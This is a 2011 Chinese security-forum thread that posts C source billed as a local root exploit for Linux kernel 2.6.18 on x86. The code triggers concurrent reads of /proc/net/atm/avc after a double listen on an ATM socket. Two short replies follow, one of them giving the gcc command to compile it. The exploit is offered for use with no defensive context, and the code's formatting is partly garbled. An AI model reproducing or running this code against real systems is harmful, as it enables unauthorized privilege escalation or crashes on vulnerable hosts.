# Linux kernel-2.6.18-6 x86 Local Root Exploit

**URL:** <https://forum.90sec.com/t/topic/2665>\
**Category:** 技术文章\
**Created:** [2011 年10 月 6 日 02:01 UTC](https://forum.90sec.com/t/topic/2665 "2011-10-06T02:01:13Z")\
**Posts on this page:** 3\
**Page:** 1

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2011 年10 月 6 日 02:01 UTC](https://forum.90sec.com/t/topic/2665/1 "2011-10-06T02:01:13Z")

</div>

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h> 
                      
#define NUM_CPUS 8    
#define ATM "/proc/net/atm/avc"
                              

```

int  
main(void)  
{  
char \*err, adurit[2000];  
int i, ret, sock, proc;  
struct atm\_qos dj;  
struct sockaddr\_atmsvc addr;

```
sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
                                       
                                       
memset(&dj, 0, sizeof(dj));            
dj.rxtp.traffic_class = ATM_UBR;       
dj.txtp.traffic_class = ATM_UBR;       
dj.aal = ATM_NO_AAL;                   
                                       

ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
if (ret == -1) {
    printf("failed !\n");
    return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sas_family = AF_ATMSVC;

bind(sock, (struct sockaddr *) &addr, sizeof(addr));

listen(sock, 10);
listen(sock, 10);

for (i = 1; i &lt; NUM_CPUS; ++i) {
    if (fork() != 0) {
        break;
    }
}
proc = open(ATM, O_RDONLY);
ret = read(proc, &adurit, 2000);
close(proc);

return 0;

```

}

---

<div class="post-metadata">

作者： ![Agile](https://forum.90sec.com/user_avatar/forum.90sec.com/agile/32/11326_2.png) [@Agile](https://forum.90sec.com/u/Agile)\
发布日期： [2011 年10 月 6 日 02:58 UTC](https://forum.90sec.com/t/topic/2665/2 "2011-10-06T02:58:59Z")

</div>

如果编译好了话那就更好了

---

<div class="post-metadata">

作者： ![r00t](https://forum.90sec.com/letter_avatar_proxy/v4/letter/r/e19b73/32.png) [@r00t](https://forum.90sec.com/u/r00t)\
发布日期： [2011 年10 月 6 日 03:17 UTC](https://forum.90sec.com/t/topic/2665/3 "2011-10-06T03:17:32Z")

</div>

自己编译一下也没多大的事。gcc 2.6.18.c -o 2.6.18
